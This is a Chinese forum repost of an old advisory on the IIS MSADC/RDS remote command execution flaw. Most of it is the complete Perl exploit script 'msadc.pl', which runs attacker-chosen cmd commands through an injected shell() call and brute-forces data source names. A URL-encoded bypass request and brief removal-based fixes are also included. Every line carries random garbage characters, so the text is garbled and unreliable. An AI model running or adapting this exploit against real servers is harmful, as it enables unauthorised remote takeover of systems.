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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GTNTx5H  
[KJL%u|8/  
涉及程序: :C6r N}_k  
Microsoft NT server  Z5-'|h$|  
ra2q. H  
描述: )ixE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )d`$2D&iY  
!P3|T\|]+  
详细: M0 8Y  
如果你没有时间读详细内容的话,就删除: R7E"7"M10  
c:\Program Files\Common Files\System\Msadc\msadcs.dll RR=l&uT  
有关的安全问题就没有了。 }!Lr!eALr  
h!~yYNQ"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !:{_<C"D  
ksp':2d}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  N&.p\T&t  
关于利用ODBC远程漏洞的描述,请参看: TaT&x_v^~a  
%TgM-F,8  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9Bw"VN]W  
_Z2)e*(  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ?3N86Qj  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp P@?CQvMx  
Y|nTc.A  
这里不再论述。 eqCB2u"Jq  
R"([Y#>m  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ?0Zw ^a  
_ 0E,@[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Bx >@HU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Z Uv_u6aD  
So`"z[5  
R&xd ic!  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g XMkI$ab  
*2;3~8Y  
#!perl L 3@wdC ~0  
# T]2q >N  
# MSADC/RDS 'usage' (aka exploit) script heA\6W:u&  
# )wd~639U  
# by rain.forest.puppy +ETw:i9!?  
# C\D4C]/8  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me N2J!7uoQ  
# beta test and find errors! =x>k:l~s  
a@J :*W  
use Socket; use Getopt::Std; e?WR={  
getopts("e:vd:h:XR", \%args); u*`GIRfWT  
9t1_"{'N1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 74#@F{w  
wf1DvsJQl  
if (!defined $args{h} && !defined $args{R}) { DYK|"@  
print qq~ Y;>'~V#R  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (tN$G:+")F  
-h <host> = host you want to scan (ip or domain) E!M+37/  
-d <seconds> = delay between calls, default 1 second m=V2xoMw6  
-X = dump Index Server path table, if available C:{'0m*jKs  
-v = verbose K%Bi8d  
-e = external dictionary file for step 5 +i =78  
{o`5&EoM  
Or a -R will resume a command session [4yQ-L)]e  
a\E]ueVD2j  
~; exit;} o+&sodt|`  
WgB,,L,  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; owhht98y(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ta(x4fP_  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} gEu\X|7'  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \O~7X0 <W  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} _P:P5H8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ' M!_k+e  
Xy +|D#b  
if (!defined $args{R}){ $ret = &has_msadc; vcHDFi  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} dX=^>9hN/  
qFk(UazN  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" K<tg+(3  
. "cmd /c "; JnDR(s4(E  
$in=<STDIN>; chomp $in; add-]2`  
$command="cmd /c " . $in ; L6.R?4B   
A )cb  
if (defined $args{R}) {&load; exit;} HZ3<}`P_W  
i1C'  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; (k~c]N)v  
&try_btcustmr; v*LL7b0 A  
Kw|`y %~  
print "\nStep 2: Trying to make our own DSN..."; N}= - +E|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; { L5m`-x  
~-/AKaK}  
print "\nStep 3: Trying known DSNs..."; &#l M$7/  
&known_dsn; FCPbp!q6  
Jo0x/+?,+  
print "\nStep 4: Trying known .mdbs..."; @ 2_&ti  
&known_mdb; w[&BY  
vI@8DWs  
if (defined $args{e}){ we9AB_y  
print "\nStep 5: Trying dictionary of DSN names..."; I1,?qr"Zr  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 79DC]48M  
rIb{=';  
print "Sorry Charley...maybe next time?\n"; yS""*8/  
exit; '4rgIs3=x"  
+#no$m.bH  
############################################################################## a=R-F!P)  
;D:v@I$I  
sub sendraw { # ripped and modded from whisker nj  
sleep($delay); # it's a DoS on the server! At least on mine... "oQ@.]-#  
my ($pstr)=@_; ZSNg^)cN  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P}jr 8Z  
die("Socket problems\n"); |Th{*IJ <,  
if(connect(S,pack "SnA4x8",2,80,$target)){ gnGw7V  
select(S); $|=1; ~08v]j q  
print $pstr; my @in=<S>; `*a,8M%  
select(STDOUT); close(S); i]v!o$7  
return @in; J98K:SAR  
} else { die("Can't connect...\n"); }} ?0x;L/d])  
21qhlkdc  
############################################################################## 92i# It}-/  
c LJCLKJ  
sub make_header { # make the HTTP request 'zaB5d~l  
my $msadc=<<EOT ]2jnY&a5  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 G r)+O  
User-Agent: ACTIVEDATA ]rS+v^@QH  
Host: $ip I(.XK ucU  
Content-Length: $clen sAb|]Q((  
Connection: Keep-Alive H;6V  
cW RY[{v  
ADCClientVersion:01.06 sXWMXQ3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 KB^IGF  
1X5\VY>S`h  
--!ADM!ROX!YOUR!WORLD! ;k0*@c*  
Content-Type: application/x-varg /[OMpP  
Content-Length: $reqlen OX"`VE  
R+\5hI@ >i  
EOT .JqIAC~  
; $msadc=~s/\n/\r\n/g; .o>QBYpTw/  
return $msadc;} v:chr$>j5  
\0$?r4A  
############################################################################## GCoqKE  
])`F$S  
sub make_req { # make the RDS request H4N==o  
my ($switch, $p1, $p2)=@_; X:A\{^ ~  
my $req=""; my $t1, $t2, $query, $dsn; >nxtQ  
8Y9mB #X  
if ($switch==1){ # this is the btcustmr.mdb query 7"NUof?i  
$query="Select * from Customers where City=" . make_shell(); 7j Q`i;L}Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . E=y#~W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} M@8(h=  
}Y[.h=X  
elsif ($switch==2){ # this is general make table query "elh~K  
$query="create table AZZ (B int, C varchar(10))"; vv u((b  
$dsn="$p1";} {9)f~EbM!  
&Wba2fD  
elsif ($switch==3){ # this is general exploit table query D|xSO~M5  
$query="select * from AZZ where C=" . make_shell(); pnD#RvmW2e  
$dsn="$p1";} .f}I$ "2  
46vz=# ,6L  
elsif ($switch==4){ # attempt to hork file info from index server e\89;)  
$query="select path from scope()"; +#W5Qb}VR  
$dsn="Provider=MSIDXS;";} #E#70vWp\O  
-+L1Hid.7  
elsif ($switch==5){ # bad query ]OVjq ?  
$query="select"; by {~gu  
$dsn="$p1";} ,FTF@h-Cs  
*/1z=  
$t1= make_unicode($query); &~j"3G;e  
$t2= make_unicode($dsn); jkbz8.K  
$req = "\x02\x00\x03\x00"; 6jn<YR E-  
$req.= "\x08\x00" . pack ("S1", length($t1)); +RbCa c  
$req.= "\x00\x00" . $t1 ; j_}e%,}  
$req.= "\x08\x00" . pack ("S1", length($t2)); dCHU* 7DS  
$req.= "\x00\x00" . $t2 ; cX*^PSM  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; u^ T2  
return $req;} T:si?7CR  
."R 2^`  
############################################################################## W46sKD;\^W  
rg`"m  
sub make_shell { # this makes the shell() statement R\<^A~(Gl  
return "'|shell(\"$command\")|'";} =Ru i  
''Hq-Ng  
############################################################################## (i`DUF'#y  
Eb.{M  
sub make_unicode { # quick little function to convert to unicode mBNa;6w?{*  
my ($in)=@_; my $out; 3y@'p(}Az  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } o5)U3U1|  
return $out;} A`@we  
'K0Y@y  
############################################################################## 4U((dx*m  
W>"i0p  
sub rdo_success { # checks for RDO return success (this is kludge) RGiA>Z:W  
my (@in) = @_; my $base=content_start(@in); V3jx{BXs2  
if($in[$base]=~/multipart\/mixed/){ A81kb  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 03,+uf  
return 0;} Q>.-u6(&  
Y4i-Pp?  
############################################################################## DzYno -]A]  
9gFC]UVWh  
sub make_dsn { # this makes a DSN for us #i~.wQ $1  
my @drives=("c","d","e","f"); ON=xn|b4  
print "\nMaking DSN: "; Tkd4nRo~  
foreach $drive (@drives) { w}'E]y2.  
print "$drive: "; xQN](OKG  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |h.he_B+7  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bNqjjg  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Abj`0\  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Bdq/Ohw|!  
return 0 if $2 eq "404"; # not found/doesn't exist q* m%Fv  
if($2 eq "200") { W2n%D& PE  
foreach $line (@results) { "xh]>_;&'  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~<|xS  
} return 0;} 2LgRgY{Bl  
~oOOCB  
##############################################################################  yXDf;`J  
c=ZX7U  
sub verify_exists { E;h#3 B9  
my ($page)=@_; s|q B;  
my @results=sendraw("GET $page HTTP/1.0\n\n"); N&=,)d~M  
return $results[0];} 1{DHlyA6g  
^7(zoUn:  
############################################################################## aeSXHd?+(  
4Jw0m#UN1  
sub try_btcustmr { Nf3L  
my @drives=("c","d","e","f"); 0BD3~Lv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ed& ,  
MJK L4 G  
foreach $dir (@dirs) { J L]6o8x  
print "$dir -> "; # fun status so you can see progress ecr pv+  
foreach $drive (@drives) { qgu.c`GmW  
print "$drive: "; # ditto .>&kA f.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; W$,c]/u|  
$reqlenlen=length( "$reqlen" ); [/#;u*n  
$clen= 206 + $reqlenlen + $reqlen; z7J#1q~:yY  
[*,`a]z-Q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); )'nGuL-w!i  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} b-ZvEDCR  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} / VJ[1o^  
pTcm2-J  
############################################################################## wJ+"JQY.J+  
TVKuvKH8U  
sub odbc_error { hMi[MB7~  
my (@in)=@_; my $base; xHI>CNC,  
my $base = content_start(@in); D7 .R NXo  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (zUERw\a X  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0E bs-kP  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; VN*^pAzlF  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '*W/Bett  
return $in[$base+4].$in[$base+5].$in[$base+6];} GCc@ :*4[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; w(s"r p}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c>I^SY(r%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 3 bGpK9M~  
2c}>} A4  
############################################################################## MA"DP7e?v  
M7En%sBp  
sub verbose { 7Sr7a {  
my ($in)=@_; w${=]h*2  
return if !$verbose; Cvq2UNz(R  
print STDOUT "\n$in\n";} "M2HiV  
8j8FQ!M  
############################################################################## 3TO$J  
!x|Ok'izDL  
sub save { *y7^4I-J  
my ($p1, $p2, $p3, $p4)=@_; <0pBu7a  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; O7:JG[tR*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Haiuf)a  
close OUT;} a&|aK+^8;  
6EJ,czt(  
############################################################################## C 2FewsRz  
OZ0q6"  
sub load { :rwF5  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; oT.g@kf=H  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ^O4.$4t|  
@p=<IN>; close(IN); 2,'m]`;GNr  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); r=<,`_@Y  
$target= inet_aton($ip) || die("inet_aton problems"); p)d'yj  
print "Resuming to $ip ..."; ]0g<][m  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; I%;xMt Y1o  
if($p[1]==1) { TDA+ rl  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; b=.Ikt+y  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; mM1\s>o  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); f0}+8JW5h  
if (rdo_success(@results)){print "Success!\n";} zR">'bM:  
else { print "failed\n"; verbose(odbc_error(@results));}} 9 *Q/3|   
elsif ($p[1]==3){ BY6QJkI9x  
if(run_query("$p[3]")){ ;E(%s=i  
print "Success!\n";} else { print "failed\n"; }} <Sb W QbN  
elsif ($p[1]==4){ h9RG?r1  
if(run_query($drvst . "$p[3]")){ O0c#-K.f  
print "Success!\n"; } else { print "failed\n"; }} oj[Wzeg%  
exit;} V#=o<  
r( :"BQ  
############################################################################## r@^h,  
mRFcZ.7  
sub create_table {  g&#.zJ[-  
my ($in)=@_; Sr/"'w;  
$reqlen=length( make_req(2,$in,"") ) - 28; !ai, \  
$reqlenlen=length( "$reqlen" ); ;)~loa1\  
$clen= 206 + $reqlenlen + $reqlen; p'uk V(B  
my @results=sendraw(make_header() . make_req(2,$in,"")); zuwCN.  
return 1 if rdo_success(@results); +.NopI3:  
my $temp= odbc_error(@results); verbose($temp); PL[7|_%  
return 1 if $temp=~/Table 'AZZ' already exists/; Zm^4p{I%o*  
return 0;} 8ZE{GX.m2c  
S~/zBFo-  
############################################################################## }LN +V~  
bwS1YGb  
sub known_dsn { CFkM}`v0  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :6./yj(  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", d7qHUx'=z  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", X~G!{TT_x6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &%$r3ePwc  
$-EbJ  
foreach $dSn (@dsns) { he;&KzEu  
print "."; MkF:1-=L  
next if (!is_access("DSN=$dSn")); p{[Ol  
if(create_table("DSN=$dSn")){ *O+G}_}  
print "$dSn successful\n"; -P^ 6b(  
if(run_query("DSN=$dSn")){ _ ^r KOd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {YT!vD9.  
print "Something's borked. Use verbose next time\n";}}} print "\n";} &ScADmZP^d  
oyiEOC  
############################################################################## Jo1n>Mo-j  
Yc BY[i0  
sub is_access { %c*azo.  
my ($in)=@_; ~8o's`  
$reqlen=length( make_req(5,$in,"") ) - 28; {Ug?k<h7|  
$reqlenlen=length( "$reqlen" ); ^ duNEu0*  
$clen= 206 + $reqlenlen + $reqlen; _jQ"_Ff  
my @results=sendraw(make_header() . make_req(5,$in,"")); 4jfkCU  
my $temp= odbc_error(@results); m$Lq#R={Z  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }1f@>'o  
return 0;} m(L]R(t  
qe8dpI;  
############################################################################## OEnJ".&V  
: 2Ho  
sub run_query { 7loIX Qw  
my ($in)=@_; !'Q/9%g  
$reqlen=length( make_req(3,$in,"") ) - 28; s+8 v7ZJ  
$reqlenlen=length( "$reqlen" ); q["CT&0  
$clen= 206 + $reqlenlen + $reqlen; <b~KR8  
my @results=sendraw(make_header() . make_req(3,$in,"")); %qfql  
return 1 if rdo_success(@results); y2bL!Y<s9  
my $temp= odbc_error(@results); verbose($temp); !ZPaU11  
return 0;} ggR@& \  
: n 4?  
############################################################################## C0eP/d  
_@3@_GE  
sub known_mdb { nlQ<Aa-%  
my @drives=("c","d","e","f","g"); C0|<+3uND=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '5\7>2fI  
my $dir, $drive, $mdb; NpG5$?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ],YIEOx6  
-K9bC3H  
# this is sparse, because I don't know of many p,.+i[V  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ^p ?O1qTg  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *4"s,1?@BG  
"\\system32\\certmdb.mdb", M^JRHpTn  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% d h#4/Wa,  
rLw3\>y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 8M9 &CsT6  
"\\cfusion\\cfapps\\forums\\forums_.mdb", j'Z}; 3y  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 03Pa; n  
"\\cfusion\\cfapps\\security\\realm_.mdb", g .ty#Z=:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", R}'kF63u*  
"\\cfusion\\database\\cfexamples.mdb", 6Lk<VpAa  
"\\cfusion\\database\\cfsnippets.mdb", |r[yMI|VR  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 2 UU5\ jV6  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", g!;k$`@{E'  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Mn7nS:  
"\\cfusion\\database\\smpolicy.mdb", St}j^i  
"\\cfusion\\database\cypress.mdb", k\W%^Z  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [HGGXgN  
"\\website\\cgi-win\\dbsample.mdb", ?kEcYD  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", m{4e+&S|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" L8("1_  
); #these are just 0hnTHlk  
foreach $drive (@drives) { :SjTkfU  
foreach $dir (@dirs){ ;$gZ?&  
foreach $mdb (@sysmdbs) { phr6@TI  
print "."; #K:|@d  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `@eo <6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Y>LgpO.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ E~Eh'>Y(B  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; +Bk" khH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |d\ rCq >  
l ps 6lnh  
foreach $drive (@drives) { {Hxvt~P  
foreach $mdb (@mdbs) { O&YX V  
print "."; H. UwM  
if(create_table($drv . $drive . $dir . $mdb)){  W|XTa  
print "\n" . $drive . $dir . $mdb . " successful\n"; E#?*6/  
if(run_query($drv . $drive . $dir . $mdb)){ S(<r-bV<  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; %upnXRzw  
} else { print "Something's borked. Use verbose next time\n"; }}}} EkS7j>:  
} q|,cMPS3  
HO%atE$>  
############################################################################## >Q':+|K}  
jkw:h0hX  
sub hork_idx { <+ 0cQq=2  
print "\nAttempting to dump Index Server tables...\n"; \W$bOp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ENW>bS8 e`  
$reqlen=length( make_req(4,"","") ) - 28; "X4L+]"$g  
$reqlenlen=length( "$reqlen" ); ~RGZY/4  
$clen= 206 + $reqlenlen + $reqlen; wmbjL=f Ia  
my @results=sendraw2(make_header() . make_req(4,"","")); yDh(4w-~gk  
if (rdo_success(@results)){ PI@/jh  
my $max=@results; my $c; my %d; Bwv@D4bii  
for($c=19; $c<$max; $c++){ 7 \)OWp  
$results[$c]=~s/\x00//g; )2t!= ua  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; foY=?mbL  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; kNqSBzg  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {?tK]g#  
$d{"$1$2"}="";} 9i4!^DM_  
foreach $c (keys %d){ print "$c\n"; } wG6@. ;3  
} else {print "Index server doesn't seem to be installed.\n"; }} 3";Rw9  
$@k[Xh  
############################################################################## 8;2UP`8s?  
am;)@<8~Q  
sub dsn_dict { %%J)@k^vH  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Z'sAu#C  
while(<IN>){ pGEYke NU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ,Y 1&[  
next if (!is_access("DSN=$dSn")); ` QC  
if(create_table("DSN=$dSn")){ xE%1C6~C<  
print "$dSn successful\n"; q2v:lSFY  
if(run_query("DSN=$dSn")){ wBlfQ w-N  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {*WJ"9ujp]  
print "Something's borked. Use verbose next time\n";}}} '6U~|d  
print "\n"; close(IN);} M, qX  
F&?55@b  
############################################################################## ?Ne@OMc  
=\CJsS.  
sub sendraw2 { # ripped and modded from whisker H}G=%j0  
sleep($delay); # it's a DoS on the server! At least on mine... =*EIe z*.x  
my ($pstr)=@_; 242dT/j  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z~tCag8I(k  
die("Socket problems\n"); g3[Zh=+]E  
if(connect(S,pack "SnA4x8",2,80,$target)){ P2J{ Ml#  
print "Connected. Getting data"; Exir?G}\  
open(OUT,">raw.out"); my @in; 3exv k  
select(S); $|=1; print $pstr; f+>l-6M+p  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -1dbJ/)  
close(OUT); select(STDOUT); close(S); return @in; q;co53.+P)  
} else { die("Can't connect...\n"); }} a(}dF?M=  
 z.fh4p  
############################################################################## %JmRJpCvR  
@j +8M  
sub content_start { # this will take in the server headers 7w}D2|+  
my (@in)=@_; my $c; x:'M\c7  
for ($c=1;$c<500;$c++) { ~3k& =3d]  
if($in[$c] =~/^\x0d\x0a/){ l|#WQXs*c{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } OU)~ 02|\  
else { return $c+1; }}} ;A^0="x&  
return -1;} # it should never get here actually e.pm`%5bO  
1 o<l;:  
############################################################################## !: e(-  
c)H (w  
sub funky { 4dy2m!  
my (@in)=@_; my $error=odbc_error(@in); -dX{ R_*  
if($error=~/ADO could not find the specified provider/){ |Z%I3-z_DS  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Xk#"rM< Y  
exit;} @\-i3EhR  
if($error=~/A Handler is required/){ J6x#c`Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; yn&AMq ]o  
exit;} Z4YQ5O5  
if($error=~/specified Handler has denied Access/){ >~O36q^w  
print "\nServer has custom handler filters (they most likely are patched)\n"; Cj~45)r  
exit;}} v(ABZNIn  
Nda,G++5(  
############################################################################## $@m)8T  
;8WgbR)ZLU  
sub has_msadc { qyXx`'e  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); !'uLV#YEZ  
my $base=content_start(@results); G9?6qb:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ^X2U A{  
return 0;} u{%gB&nC  
Fv!zS.)`  
######################## rBBA`Ut@F  
 y!6+jrI  
mHTZ:84  
解决方案: 4%l @   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll emZ^d/A  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 u15-|i{y7  
^B9rt\,q  
拿出来充数 哈哈
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